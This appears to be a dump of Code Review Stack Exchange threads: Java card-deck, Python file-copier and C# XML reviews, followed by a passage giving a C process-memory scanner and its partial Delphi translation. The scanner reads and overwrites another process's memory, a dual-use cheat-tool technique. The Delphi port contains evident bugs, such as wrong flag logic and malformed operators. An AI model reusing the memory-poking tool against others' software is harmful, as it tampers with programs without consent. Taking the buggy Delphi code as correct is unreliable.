public static void main(String[] args) {
Deck deck = new Deck();
System.out.println("The deck contains " + deck.size() + " cards.");
deck.shuffle();
System.out.println("The deck is now shuffled.");
System.out.println("The first five cards drawn are:");
for (int i = 0; i<5; i++) {
System.out.print(deck.draw() + " ");
}
}
}
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-05T17:40:30.140",
"Id": "16989",
"Score": "1",
"body": "`CardEnum` sounds like the wrong name for that, if you're using it in a class called `Card`. I think I'd prefer `Face` or similar. And drop the `Enum` - it's noise."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-05T23:08:14.917",
"Id": "17008",
"Score": "0",
"body": "That's a good suggestion. I was only using it to distinguish the fact that it's a special enum class."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-07-07T09:34:45.880",
"Id": "21683",
"Score": "1",
"body": "I would change `getSymbol` and `getName` to `@Override toString` and change the underlying List of cards in the Deck to a LinkedList so you can take advatange of the `removeLast` function when you `draw`."
}
] |
[
{
"body": "<ol>\n<li>Using <code>name</code> coupled with <code>getSymbol</code> is confusing - the underlying property name should be the same. </li>\n<li>Do not omit <code>public</code>/<code>private</code>/<code>default</code> modifiers. </li>\n<li><p>Get rid of this method:</p>\n\n<pre><code>// A card should be immutable.\n// This method exposes the guts for no good reason.\n// Gives you a chance to create an invalid deck.\nvoid changeCard(CardEnum card, SuitEnum suit) {\n this.card = card;\n this.suit = suit;\n}\n</code></pre></li>\n<li><p>Depending on how frequently the cards are reused and accessed, you might want to compute this value only once, and then keep returning it.</p>\n\n<pre><code>// This could be computed only once.\nString getName() {\n return card.getSymbol() + suit.getSymbol();\n}\n</code></pre></li>\n<li><p>I like more verbose variable names and some things ought to take one line whereas others ought not. I would write:</p>\n\n<pre><code>public Deck() {\n for (CardEnum card : CardEnum.values()) {\n for (SuitEnum suit: SuitEnum.values()) {\n this.deck.add(new Card(card, suit)); // I find this readable.\n }\n }\n\n if (deck.size() != newSize) {\n throw new IndexOutOfBoundsException(\"Deck does not contain 52 cards.\");\n } \n // If statements without braces can be dangerous when you change the code later.\n // I personally do not like them here or elsewhere.\n}\n</code></pre></li>\n<li><p>You might want to make the deck reusable by not throwing cards away but storing them in a dirty pile(say an array). Because a deck will always contain 52 cards, I would use two arrays of 52 elements each - one for clean cards and one for the dirty ones. Then you can make these arrays behave like queues when you need them to by keeping track of exactly one number: the number of cards remaining in the clean pile. You can fetch the cards from 51st to 0th. That way you do not even need to erase the contents of the clean pile - by decreasing the number you hide one more card from the clean deck. This should make your program a bit smaller and faster, but maybe this is premature optimization.</p></li>\n<li><p>You could add an <code>bool isEmpty()</code> and <code>bool isFull()</code> method to the <code>Deck</code> class.</p></li>\n<li><p>You could add automatic re-shuffling by passing a bool flag to the constructor. It should default to false via constructor chaining. This can be useful in the case when you have many players and the game requires multiple decks, but this does not apply to poker. I am not sure what kind of system you are trying to build.</p></li>\n<li><p>You only have about two pages of Java code. You need to expand on this. It looks hygienic precisely because it is not doing all that much.</p></li>\n</ol>\n\n<p>Looks good otherwise. Keep at it.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-03T21:22:05.930",
"Id": "16892",
"Score": "0",
"body": "Thank you for your cogent advice. This was very helpful. :)\n\nFrom your advice in #3, is it a general practice to code somewhat \"defensively\" for things like the underlying guts of an application?\n\n#6 is a good piece of advice, I never thought of keeping 2 decks."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-03T22:28:50.257",
"Id": "16896",
"Score": "4",
"body": "I work in a code base that weighs about a gigabyte of just textual code. When the software gets complex, you want to make every effort to minimize the potential for bugs. In your case it does not really matter, but all large software starts out small. Immutability is not just a neat trick - it is a philosophy. It is part of functional programming. If things do not change (are immutable), then the passage of time almost does not matter to you. Immutability is big selling point for Clojure. Add mut. obj to tree and change it - cant find it. http://www.javapractices.com/topic/TopicAction.do?Id=29"
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-03T04:31:32.987",
"Id": "10585",
"ParentId": "10583",
"Score": "3"
}
}
] |
{
"AcceptedAnswerId": "10585",
"CommentCount": "3",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-03T00:00:39.267",
"Id": "10583",
"Score": "3",
"Tags": [
"java",
"playing-cards"
],
"Title": "Basic Poker Draw"
}
|
10583
|
<pre><code>#!/usr/bin/env python
"""
Safely copies .mpg files from one volume to another using
temporary filenames and hash verification
"""
import os
from datetime import datetime
from hashlib import sha256
from shutil import copy2
#ask user for origin (where to get files)
def choose_drive(drives, label):
while True:
for d in drives:
print '%s - %s' % (drives.index(d)+1,d)
drive = raw_input('Select %s: ' % label)
if not drive in str(range(0, len(drives)+1)):
continue
else:
return os.path.join('/Volumes', drives[int(drive)-1])
# safe copy
def safe_copy(src, dst):
dst_temp_name = dst+'_INCOMPLETE'
try:
copy2(src,dst_temp_name)
if compare_hashes(src, dst_temp_name):
try:
os.rename(dst_temp_name, dst)
except Exception as e:
print 'Error trying to rename the file: ', e
else:
safe_copy(src, dst)
except Exception as e:
print 'Error trying to copy the file: ', e
# hash a file and return the hash string
def get_local_hash(filename, block_size=2**20):
"""
Hashes a file using SHA1
"""
# print 'Starting hash of %s at %s' % (filename, datetime.now().time())
print 'Hashing', filename
try:
local_file = open(filename,'rb')
except Exception as e:
print 'Error while opening file for hashing: ', e
hasher = sha256()
while True:
data = local_file.read(block_size)
if not data:
break
hasher.update(data)
# print 'Finished hash at %s' % datetime.now().time()
result = hasher.hexdigest()
local_file.close()
return unicode(result)
def compare_hashes(file1, file2):
if get_local_hash(file1) == get_local_hash(file2):
return True
#main
def main():
# get list of volumes
drives = [d for d in os.listdir('/Volumes')]
# ask user for origin drive
origin = choose_drive(drives, 'Origin')
origin_files = os.listdir(origin)
# ask user for destination drive
destination = choose_drive(drives, 'Destination')
destination_files = os.listdir(destination)
# for each file on origin, check if it exists on destination
for of in origin_files:
if of.endswith('.mpg'):
if of in destination_files:
if compare_hashes(os.path.join(origin, of), os.path.join(destination, of)):
print 'already exists and is identical... skipping', of
else:
print 'already exists but is different... copying', of
safe_copy(os.path.join(origin, of), os.path.join(destination, of))
else:
print 'does not exists... copying', of
safe_copy(os.path.join(origin, of), os.path.join(destination, of))
if __name__ == "__main__":
main()
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-03T14:26:07.533",
"Id": "16868",
"Score": "1",
"body": "No explanation, no nothing, we don't work for you. We are here for free and for fun, if you want our help you'll have to ask better."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-03T15:08:30.443",
"Id": "16870",
"Score": "0",
"body": "Hmm not sure what more explanation I can give.. and I did say please. Something about the name \"Code Review\" led me to believe I could put my code up for review. Sheesh.. I can be so dumb :-|"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-03T15:16:31.327",
"Id": "16871",
"Score": "3",
"body": "@RikPoggi, I see nothing wrong with this question. The docstring provides a good explanation of what the code is trying to do."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-03T16:45:49.633",
"Id": "16878",
"Score": "0",
"body": "To me it's a matter of being polite towards those who you are asking help. I'll be happy to remove my downvote if this was just a misunderstanding and you'll provide a better title and some insight about what you're looking for (better performance, newbie mistakes or ???). These are circumstantial information that a reviewer like to see, other than estabilishing some confidance, they'll easy his job by pointing him into your same direction. (Or at least they work this way for me)."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-03T20:44:58.453",
"Id": "16889",
"Score": "2",
"body": "@RikPoggi Strictly adhering to [the faq](http://codereview.stackexchange.com/faq), I think you are mistaken. His question contains code, and he has invited review of all facets of his code. It wasn't an impolite question, and is entirely appropriate for CodeReview."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-03T22:55:42.157",
"Id": "16897",
"Score": "1",
"body": "@kojiro: I'm mistaken for what? I never said that it's not a good fit for codereview or something like that; otherwise I'd have cast a closing vote. I was stating that it's a poor question. I wont go on repeating my point, since until the question stays this way I wont change it: **a question with a title \"Please review Python code\" and then it dumps all his code without adding nothing more** is not a good question, hence my downvote. I thought that this was somehow a shared thought, but I guess it's not."
}
] |
[
{
"body": "<p>Responses in comments starting with <em>koj -</em>.</p>\n\n<pre><code>#!/usr/bin/env python\n\n\"\"\"\nSafely copies .mpg files from one volume to another using\ntemporary filenames and hash verification\n\"\"\"\n\nimport os\nfrom datetime import datetime\nfrom hashlib import sha256\nfrom shutil import copy2\n\n#ask user for origin (where to get files)\ndef choose_drive(drives, label):\n # koj - needs documentation\n while True:\n for d in drives: # koj - use for d, drive in enumerate(drives)\n print '%s - %s' % (drives.index(d)+1,d) # koj - print '%d - %s' % (d+1,drive)\n drive = raw_input('Select %s: ' % label)\n # koj - cast to int here inside a try/except. (except ValueError, continue).\n if not drive in str(range(0, len(drives)+1)): # koj - Then, no cast to string\n continue\n else:\n return os.path.join('/Volumes', drives[int(drive)-1]) # koj - no need to cast to int anymore\n\n# safe copy\ndef safe_copy(src, dst):\n # koj - needs documentation\n dst_temp_name = dst+'_INCOMPLETE'\n try:\n copy2(src,dst_temp_name)\n if compare_hashes(src, dst_temp_name):\n try:\n os.rename(dst_temp_name, dst)\n except Exception as e:\n print 'Error trying to rename the file: ', e\n else:\n safe_copy(src, dst)\n except Exception as e:\n print 'Error trying to copy the file: ', e\n\n# hash a file and return the hash string\ndef get_local_hash(filename, block_size=2**20):\n \"\"\"\n Hashes a file using SHA1\n \"\"\"\n # print 'Starting hash of %s at %s' % (filename, datetime.now().time())\n print 'Hashing', filename\n try: # koj - use a with statement to manage the file handle\n local_file = open(filename,'rb')\n except Exception as e:\n print 'Error while opening file for hashing: ', e\n hasher = sha256()\n while True:\n data = local_file.read(block_size)\n if not data:\n break\n hasher.update(data)\n # print 'Finished hash at %s' % datetime.now().time()\n result = hasher.hexdigest()\n local_file.close()\n return unicode(result)\n\ndef compare_hashes(file1, file2):\n # koj - needs documentation\n if get_local_hash(file1) == get_local_hash(file2):\n return True # koj - sure, but why not just return get_local_hash(file1) == get_local_hash(file2) ?\n\n#main\n# koj - did you really need that label?\ndef main():\n # get list of volumes\n drives = [d for d in os.listdir('/Volumes')]\n # ask user for origin drive\n origin = choose_drive(drives, 'Origin')\n origin_files = os.listdir(origin) # koj - filter here: (orig for orig in os.listdir(origin) if orig.endswith('.mpg'))\n # ask user for destination drive\n destination = choose_drive(drives, 'Destination')\n destination_files = os.listdir(destination)\n # for each file on origin, check if it exists on destination\n for of in origin_files:\n if of.endswith('.mpg'): # koj - see filter on line 76 above, don't need this.\n if of in destination_files:\n if compare_hashes(os.path.join(origin, of), os.path.join(destination, of)):\n print 'already exists and is identical... skipping', of\n else:\n print 'already exists but is different... copying', of\n safe_copy(os.path.join(origin, of), os.path.join(destination, of))\n else:\n print 'does not exists... copying', of\n safe_copy(os.path.join(origin, of), os.path.join(destination, of))\n\n\n\n\nif __name__ == \"__main__\":\n\n main()\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-03T21:33:11.327",
"Id": "16893",
"Score": "0",
"body": "+1. Good stuff. My only suggestion is that putting your discussion in comments isn't the most readable. See how I've put mine for a possible alternative."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-03T21:40:41.533",
"Id": "16894",
"Score": "3",
"body": "Wait… if you're *reviewing* my code review, shouldn't that go on meta.cr.se? (j/k)"
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-03T21:01:54.813",
"Id": "10601",
"ParentId": "10584",
"Score": "3"
}
},
{
"body": "<p>Kojiro has made many of the points I was going to. But a few more are worth making</p>\n\n<pre><code> drive = raw_input('Select %s: ' % label)\n if not drive in str(range(0, len(drives)+1)):\n continue\n else:\n return os.path.join('/Volumes', drives[int(drive)-1])\n</code></pre>\n\n<p>Rather then using continue, invert the logic in the if.</p>\n\n<pre><code> if compare_hashes(src, dst_temp_name):\n try:\n os.rename(dst_temp_name, dst)\n except Exception as e:\n print 'Error trying to rename the file: ', e\n</code></pre>\n\n<p>In most situations you shouldn't catch Exception. It'll catch just about anything and make it harder to see bugs. Also, do you actually want to print errors and continue on? Maybe you should shut down the script instead. At the very least catch a more specific error.</p>\n\n<pre><code> else:\n safe_copy(src, dst)\n</code></pre>\n\n<p>Write this with a while loop rather then recursion. It'll be easier to read. </p>\n\n<pre><code># hash a file and return the hash string\n\n try:\n local_file = open(filename,'rb')\n except Exception as e:\n print 'Error while opening file for hashing: ', e\n</code></pre>\n\n<p>If this error actually happens, the code below will fail because the script will still try to read from the file. If you are going to catch exceptions you need to actually do something sane about it. Printing the error is not something sane.</p>\n\n<pre><code> local_file.close()\n</code></pre>\n\n<p>Use the with construct instead</p>\n\n<pre><code> return unicode(result)\n</code></pre>\n\n<p>Why? </p>\n\n<pre><code>#main\ndef main():\n # get list of volumes\n drives = [d for d in os.listdir('/Volumes')]\n</code></pre>\n\n<p>This is the same as drives = os.listdir('/Volumes')</p>\n\n<pre><code> # ask user for origin drive\n origin = choose_drive(drives, 'Origin')\n origin_files = os.listdir(origin)\n # ask user for destination drive\n destination = choose_drive(drives, 'Destination')\n destination_files = os.listdir(destination)\n</code></pre>\n\n<p>You should almost always be getting this information from the command line arguments not \nuser input.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-03T21:31:31.223",
"Id": "10602",
"ParentId": "10584",
"Score": "3"
}
}
] |
{
"AcceptedAnswerId": "10602",
"CommentCount": "6",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-03T02:37:51.283",
"Id": "10584",
"Score": "3",
"Tags": [
"python"
],
"Title": "Robust .mpg file copier"
}
|
10584
|
<p>I have the following code, to store a web service name value pair response into DB. I am saving it in xml column of DB. Kindly highlight the issues with this approach. Please note that the name value pair (i.e response.details) array is dynamic and i cannot directly map it to individual db columns.</p>
<pre><code>XElement ex = new XElement("ServiceResponse","");
for (int i = 0; i < response.details.Length; i++)
{
string Name = Regex.Replace(response.details[i].name.Trim(),@"[^A-Za-z0-9.]+","");
ex.Add(new XElement("Details",new XElement(Name, response.details[i].value)));
}
using (DBDataContext con = new DBDataContext())
{
con.Requests.InsertOnSubmit(new Nettium.FraudManagementBase.DataContext.Request
{
response = ex
}
);
con.SubmitChanges();
}
</code></pre>
<p>Thanks</p>
|
[] |
[
{
"body": "<p>You could achieve a little more readability using Linq2Xml like this:</p>\n\n<pre><code>var ex = new XElement(\"ServiceResponse\",\n response.details.Select(detail => \n new XElement(\"Details\", \n new XElement(CleanName(detail.name), detail.value))));\n</code></pre>\n\n<p>I have moved the line of code that performs some kind of cleaning on the detail's name to a separate method, like so:</p>\n\n<pre><code>private static string CleanName(string name)\n{\n return Regex.Replace(name.Trim(), @\"[^A-Za-z0-9.]+\", \"\");\n}\n</code></pre>\n\n<p>You could rename this method to communicate better what it does (for me it's not really obvious). </p>\n\n<p>Two more things:</p>\n\n<ul>\n<li><p>it's good to follow the C# naming guidelines. In your code, the local variables begin with a capital letter and the public fields/properties of the Request and Detail classes begin with lowercase letters. It should be the other way around.</p></li>\n<li><p>you could add a <code>using Nettium.FraudManagementBase.DataContext;</code> clause at the top of the file. The data access code will look like this:</p>\n\n<pre><code>using (DBDataContext con = new DBDataContext())\n{\n con.Requests.InsertOnSubmit(new Request { response = ex });\n con.SubmitChanges();\n}\n</code></pre></li>\n</ul>\n\n<p>which is much cleaner IMO.</p>\n\n<p>So, the final code could look like this:</p>\n\n<pre><code>var xml = new XElement(\"ServiceResponse\",\n response.Details.Select(detail => \n new XElement(\"Details\", \n new XElement(CleanName(detail.Name), detail.Value))));\n\nusing (DBDataContext con = new DBDataContext())\n{\n con.Requests.InsertOnSubmit(new Request { Response = xml });\n con.SubmitChanges();\n}\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-03T11:04:13.683",
"Id": "10590",
"ParentId": "10588",
"Score": "3"
}
}
] |
{
"AcceptedAnswerId": "10590",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-03T08:53:10.613",
"Id": "10588",
"Score": "2",
"Tags": [
"c#",
"linq",
"xml"
],
"Title": "Converting NameValue pair entity to XML"
}
|
10588
|
<p>With the help of some users here, I finally terminated the conversion of this code from C:</p>
<pre><code>#include <windows.h>
#include <stdio.h>
#define IS_IN_SEARCH(mb, offset) (mb->searchmask[(offset)/8] & (1<<((offset)%8)))
#define REMOVE_FROM_SEARCH(mb, offset) mb->searchmask[(offset)/8] &= ~(1<<((offset)%8));
typedef struct _MEMBLOCK
{
HANDLE hProc;
unsigned char *addr;
int size;
unsigned char *buffer;
unsigned char *searchmask;
int matches;
int data_size;
struct _MEMBLOCK *next;
} MEMBLOCK;
typedef enum
{
COND_UNCONDITIONAL,
COND_EQUALS,
COND_INCREASED,
COND_DECREASED,
} SEARCH_CONDITION;
MEMBLOCK* create_memblock (HANDLE hProc, MEMORY_BASIC_INFORMATION *meminfo, int data_size)
{
MEMBLOCK *mb = malloc(sizeof(MEMBLOCK));
if (mb)
{
mb->hProc = hProc;
mb->addr = meminfo->BaseAddress;
mb->size = meminfo->RegionSize;
mb->buffer = malloc(meminfo->RegionSize);
mb->searchmask = malloc(meminfo->RegionSize/8);
memset (mb->searchmask, 0xff, meminfo->RegionSize/8);
mb->matches = meminfo->RegionSize;
mb->next = NULL;
mb->data_size = data_size;
}
return mb;
}
void free_memblock (MEMBLOCK *mb)
{
if (mb)
{
if (mb->buffer)
{
free(mb->buffer);
}
if (mb->searchmask)
{
free(mb->searchmask);
}
free (mb);
}
}
void update_memblock (MEMBLOCK *mb, SEARCH_CONDITION condition, unsigned int val)
{
static unsigned char tempbuf[128*1024];
unsigned int bytes_left;
unsigned int total_read;
unsigned int bytes_to_read;
unsigned int bytes_read;
if (mb->matches > 0)
{
bytes_left = mb->size;
total_read = 0;
mb->matches = 0;
while (bytes_left)
{
bytes_to_read = (bytes_left > sizeof(tempbuf)) ? sizeof(tempbuf) : bytes_left;
ReadProcessMemory (mb->hProc, mb->addr + total_read, tempbuf, bytes_to_read, (DWORD*)&bytes_read);
if (bytes_read != bytes_to_read) break;
if (condition == COND_UNCONDITIONAL)
{
memset (mb->searchmask + (total_read/8), 0xff, bytes_read/8);
mb->matches += bytes_read;
}
else
{
unsigned int offset;
for (offset = 0; offset < bytes_read; offset += mb->data_size)
{
if (IS_IN_SEARCH(mb, (total_read+offset)))
{
BOOL is_match = FALSE;
unsigned int temp_val;
unsigned int prev_val = 0;
switch (mb->data_size)
{
case 1:
temp_val = tempbuf[offset];
prev_val = *((unsigned char*)&mb->buffer[total_read+offset]);
break;
case 2:
temp_val = *((unsigned short*)&tempbuf[offset]);
prev_val = *((unsigned short*)&mb->buffer[total_read+offset]);
break;
case 4:
default:
temp_val = *((unsigned int*)&tempbuf[offset]);
prev_val = *((unsigned int*)&mb->buffer[total_read+offset]);
break;
}
switch (condition)
{
case COND_EQUALS:
is_match = (temp_val == val);
break;
case COND_INCREASED:
is_match = (temp_val > prev_val);
break;
case COND_DECREASED:
is_match = (temp_val < prev_val);
break;
default:
break;
}
if (is_match)
{
mb->matches++;
}
else
{
REMOVE_FROM_SEARCH(mb,(total_read+offset));
}
}
}
}
memcpy (mb->buffer + total_read, tempbuf, bytes_read);
bytes_left -= bytes_read;
total_read += bytes_read;
}
mb->size = total_read;
}
}
MEMBLOCK* create_scan (unsigned int pid, int data_size)
{
MEMBLOCK *mb_list = NULL;
MEMORY_BASIC_INFORMATION meminfo;
unsigned char *addr = 0;
HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (hProc)
{
while (1)
{
if (VirtualQueryEx (hProc, addr, &meminfo, sizeof(meminfo))==0)
{
break;
}
#define WRITABLE (PAGE_READWRITE | PAGE_WRITECOPY | PAGE_EXECUTE_READWRITE | PAGE_EXECUTE_WRITECOPY)
if ((meminfo.State & MEM_COMMIT) && (meminfo.Protect & WRITABLE ))
{
MEMBLOCK *mb = create_memblock(hProc, &meminfo, data_size);
if (mb)
{
// update_memblock (mb);
mb->next = mb_list;
mb_list = mb;
}
}
addr = (unsigned char*)meminfo.BaseAddress + meminfo.RegionSize;
}
}
return mb_list;
}
void free_scan (MEMBLOCK *mb_list)
{
CloseHandle (mb_list->hProc);
while (mb_list)
{
MEMBLOCK *mb = mb_list;
mb_list = mb_list->next;
free_memblock (mb);
}
}
void update_scan (MEMBLOCK *mb_list, SEARCH_CONDITION condition, unsigned int val)
{
MEMBLOCK *mb = mb_list;
while (mb)
{
update_memblock (mb, condition, val);
mb = mb->next;
}
}
void dump_scan_info (MEMBLOCK *mb_list)
{
MEMBLOCK *mb = mb_list;
while (mb)
{
int i;
printf ("0x%08x %d\r\n", mb->addr, mb->size);
for (i = 0; i < mb->size; i++)
{
printf("%02x", mb->buffer[i]);
}
printf ("\r\n");
mb = mb->next;
}
}
void poke (HANDLE hProc, int data_size, unsigned int addr, unsigned int val)
{
if (WriteProcessMemory (hProc, (void*)addr, &val, data_size, NULL) == 0)
{
printf("poke failed\r\n");
}
}
unsigned int peek (HANDLE hProc, int data_size, unsigned int addr)
{
unsigned int val = 0;
if (ReadProcessMemory (hProc, (void*)addr, &val, data_size, NULL) == 0)
{
printf("poke failed\r\n");
}
return val;
}
void print_matches (MEMBLOCK *mb_list)
{
unsigned int offset;
MEMBLOCK *mb = mb_list;
while (mb)
{
for (offset = 0; offset < mb->size; offset+= mb->data_size)
{
if (IS_IN_SEARCH(mb, offset))
{
unsigned int val = peek (mb->hProc, mb->data_size, (unsigned int)mb->addr + offset);
printf("0x%08x: 0x%08x (%d) \r\n", mb->addr + offset, val, val);
}
}
mb = mb->next;
}
}
int get_match_count (MEMBLOCK *mb_list)
{
MEMBLOCK *mb = mb_list;
int count = 0;
while (mb)
{
count += mb->matches;
mb = mb->next;
}
return count;
}
unsigned int str2int (char *s)
{
int base = 10;
if (s[0] == '0' && s[1] == 'x')
{
base = 16;
s += 2;
}
return strtoul (s, NULL, base);
}
MEMBLOCK* ui_new_scan(void)
{
MEMBLOCK *scan = NULL;
DWORD pid;
int data_size;
unsigned int start_val;
SEARCH_CONDITION start_cond;
char s[20];
while(1)
{
printf("\r\nEnter the pid: ");
fgets (s, sizeof(s), stdin);
pid = str2int(s);
printf ("\r\nEnter the data size: ");
fgets (s, sizeof(s), stdin);
data_size = str2int(s);
printf ("\r\nEnter the start value, or 'u' for unknown: ");
fgets (s, sizeof(s), stdin);
if (s[0] == 'u')
{
start_cond = COND_UNCONDITIONAL;
start_val = 0;
}
else
{
start_cond = COND_EQUALS;
start_val = str2int (s);
}
scan = create_scan (pid, data_size);
if (scan) break;
printf ("\r\nInvalid scan");
}
update_scan (scan, start_cond, start_val);
printf("\r\n%d matches found\r\n", get_match_count(scan));
return scan;
}
void ui_poke (HANDLE hProc, int data_size)
{
unsigned int addr;
unsigned int val;
char s[20];
printf("Enter the address: ");
fgets (s, sizeof(s), stdin);
addr = str2int(s);
printf("\r\nEnter the value: ");
fgets (s, sizeof(s), stdin);
val = str2int(s);
printf ("\r\n");
poke (hProc, data_size, addr, val);
}
void ui_run_scan(void)
{
unsigned int val;
char s[20];
MEMBLOCK *scan;
scan = ui_new_scan();
while(1)
{
printf("\r\nEnter the next value or");
printf("\r\n[i] increased");
printf("\r\n[d] decreased");
printf("\r\n[m] print matches");
printf("\r\n[p] poke address");
printf("\r\n[n] new scan");
printf("\r\n[q] quit\r\n");
fgets (s, sizeof(s), stdin);
printf("\r\n" );
switch(s[0])
{
case 'i':
update_scan (scan, COND_INCREASED, 0);
printf(" %d matches found\r\n", get_match_count(scan));
break;
case 'd':
update_scan (scan, COND_DECREASED, 0);
printf(" %d matches found\r\n", get_match_count(scan));
break;
case 'm':
print_matches(scan);
break;
case 'p':
ui_poke (scan->hProc, scan->data_size);
break;
case 'n':
free_scan(scan);
scan = ui_new_scan();
break;
case 'q':
free_scan(scan);
return;
default:
val = str2int(s);
update_scan(scan, COND_EQUALS, val);
printf(" %d matches found\r\n", get_match_count(scan));
break;
}
}
}
int main (int argc, char *argv[])
{
ui_run_scan();
return 0;
}
</code></pre>
<p>to Delphi:</p>
<pre><code>//Declarations
type
PMEMBLOCK = ^MEMBLOCK;
MEMBLOCK = packed record
hProc: THandle;
addr: array of byte;
size: integer;
buffer: array of byte;
searchmask: array of byte;
matches: integer;
data_size: integer;
next: array of PMEMBLOCK;
end;
type
SEARCH_CONDITION = (COND_UNCONDITIONAL, COND_EQUALS, COND_INCREASED, COND_DECREASED);
const
WRITABLE = (PAGE_READWRITE and PAGE_WRITECOPY and PAGE_EXECUTE_READWRITE and PAGE_EXECUTE_WRITECOPY);
function Is_In_Search(mb: PMEMBLOCK; offset: cardinal): Boolean;
begin
Result := 0 <> (mb.searchmask[offset div 8] and (1 shl (offset mod 8)));
end;
procedure Remove_From_Search(mb: PMEMBLOCK; offset: cardinal);
begin
mb.searchmask[offset div 8] := mb.searchmask[offset div 8] and not (1 shl (offset mod 8));
end;
function create_memblock(hProc: THandle; meminfo: MEMORY_BASIC_INFORMATION; data_size: integer): PMemblock;
var
mb: PMemblock;
x:integer;
begin
x:= round(meminfo.RegionSize/8);
mb:= malloc(sizeof(MEMBLOCK));
if mb<>ptr(0) then begin
mb.hProc := hProc;
mb.addr := meminfo.BaseAddress;
mb.size := meminfo.RegionSize;
mb.buffer := malloc(meminfo.RegionSize);
mb.searchmask := malloc(x);
memset(mb.searchmask, $ff, x);
mb.matches := meminfo.RegionSize;
mb.next := NULL;
mb.data_size := data_size;
end;
result := mb;
end;
procedure free_memblock(mb:pmemblock);
begin
if mb<>ptr(0) then begin
if mb.buffer<>ptr(0) then free(mb.buffer);
if mb.searchmask<>ptr(0) then free(mb.searchmask);
mb:=nil;
end;
end;
procedure update_memblock(mb:pmemblock; condition:SEARCH_CONDITION; val:cardinal);
var
tempbuf: array[0..(128*1024)-1] of Byte;
bytes_left: cardinal;
total_read: cardinal;
bytes_to_read: cardinal;
bytes_read: cardinal;
offset: cardinal;
x, z:integer;
is_match: boolean;
temp_val, prev_val: cardinal;
begin
if mb.matches > 0 then begin
bytes_left := mb.size;
total_read := 0;
mb.matches := 0;
while (bytes_left<>0) do begin
if bytes_left > sizeof(tempbuf) then bytes_to_read := sizeof(tempbuf) else bytes_to_read := bytes_left;
//TO USE IN DLL: tempbuf[0] := PBYTE(dword(mb.addr)+total_read)^; // bytes_to_read = 1bytes {PRECISA CRIAR IF PROS OUTROS TIPOS}
ReadProcessMemory(mb.hProc, pointer(dword(mb.addr)+total_read), @tempbuf, bytes_to_read, dword(bytes_to_read));
if bytes_read <> bytes_to_read then break;
if condition = COND_UNCONDITIONAL then begin
x:= round(total_read/8);
z:= round(bytes_read/8);
memset (pointer(dword(mb.searchmask) + x), $ff, z);
mb.matches :=+ bytes_read;
end
else
begin
offset:=0;
while (offset < bytes_read) do
begin
if IS_IN_SEARCH(mb, (total_read+offset)) then begin
is_match:=false;
prev_val := 0;
end;
case mb.data_size of
1: begin
temp_val := tempbuf[offset];
prev_val := PBYTE(mb.buffer[total_read+offset])^;
break;
end;
2: begin
temp_val := PWORD(tempbuf[offset])^;
prev_val := PWORD(mb.buffer[total_read+offset])^;
break;
end;
4: begin
temp_val := PDWORD(tempbuf[offset])^;
prev_val := PDWORD(mb.buffer[total_read+offset])^;
break;
end;
end;
case condition of
COND_EQUALS: begin
is_match := temp_val = val;
break;
end;
COND_INCREASED: begin
is_match := (temp_val > prev_val);
break;
end;
COND_DECREASED: begin
is_match := (temp_val < prev_val);
break;
end;
end;
if (is_match) then
inc(mb.matches)
else
REMOVE_FROM_SEARCH(mb,(total_read+offset));
bytes_left :=- bytes_read;
total_read :=+ bytes_read;
Inc(offset, mb.data_size);
end;
end;
memcpy(pointer(dword(mb.buffer) + total_read), @tempbuf, bytes_read);
end;
mb.size := total_read;
end;
end;
function create_scan(pid: cardinal; data_size: integer):PMEMBLOCK;
var
mb_list: PMEMBLOCK;
meminfo: MEMORY_BASIC_INFORMATION;
addr: PBYTE;
hProc: THandle;
mb: PMEMBLOCK;
begin
mb_list:=nil;
addr:=nil;
hProc := OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if hProc<>0 then begin
while 1<>0 do begin
if VirtualQueryEx(hProc, pointer(addr), meminfo, sizeof(meminfo))=0 then break;
if ((meminfo.State = MEM_COMMIT) and (meminfo.Protect = WRITABLE )) then begin
mb := create_memblock(hProc, meminfo, data_size);
if mb<>ptr(0) then begin
mb.next := @mb_list;
mb_list := mb;
end;
end;
addr := pbyte(dword(meminfo.BaseAddress) + dword(meminfo.RegionSize));
end;
end;
result := mb_list;
end;
procedure free_scan(mb_list: PMEMBLOCK);
var
mb: PMEMBLOCK;
begin
CloseHandle(mb_list.hProc);
while mb_list<>ptr(0) do
begin
mb := mb_list;
mb_list := @mb_list.next;
free_memblock(mb);
end;
end;
procedure update_scan(mb_list: PMEMBLOCK; condition: SEARCH_CONDITION; val: cardinal);
var
mb: PMEMBLOCK;
begin
mb := mb_list;
while mb<>ptr(0) do
begin
update_memblock(mb, condition, val);
mb := @mb.next;
end;
end;
procedure dump_scan_info(mb_list: PMEMBLOCK);
var
mb: PMEMBLOCK;
i: integer;
begin
mb := mb_list;
while mb<>ptr(0) do
begin
writeln(Format('0x%08x %d',[mb.addr, mb.size]));
